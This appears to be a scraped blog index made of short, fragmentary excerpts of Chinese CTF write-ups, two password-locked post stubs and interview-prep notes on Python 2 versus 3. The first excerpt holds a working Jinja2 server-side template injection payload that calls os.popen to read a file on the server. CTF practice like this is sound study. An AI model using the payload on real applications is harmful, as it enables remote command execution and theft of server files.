webfake googlejinja2 ssti {{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}} old-hack告诉了用的tp5框架，报

Hey, password is required here. abc3b36fb43e91ab34839c8b97860e31e9ed0f928c38cfc87e4c40156d7725d460e

Hey, password is required here. 986dc00b0cc922b75322cef22053392d685128ed16d9e3d53b073d0c6616a68f22f

前言，现在看了nepnep的writeup，有很多当时有想法没完成的，现在补一下。 web 1.hackme打开页面，随便翻了一下，admin可以登录，有个框随便测了下，没什么发现，扫了一下目录有www.zip，找到了网站源码，看了一下，在

前言：在此记录平时看到的一些面试问题，为以后面试做准备，也巩固一下基础。 编程语言与操作系统： Python 3与Python 2的区别，进行了哪些优化，增加了什么新特性 print，在python3中是一个函数，在python2中是一个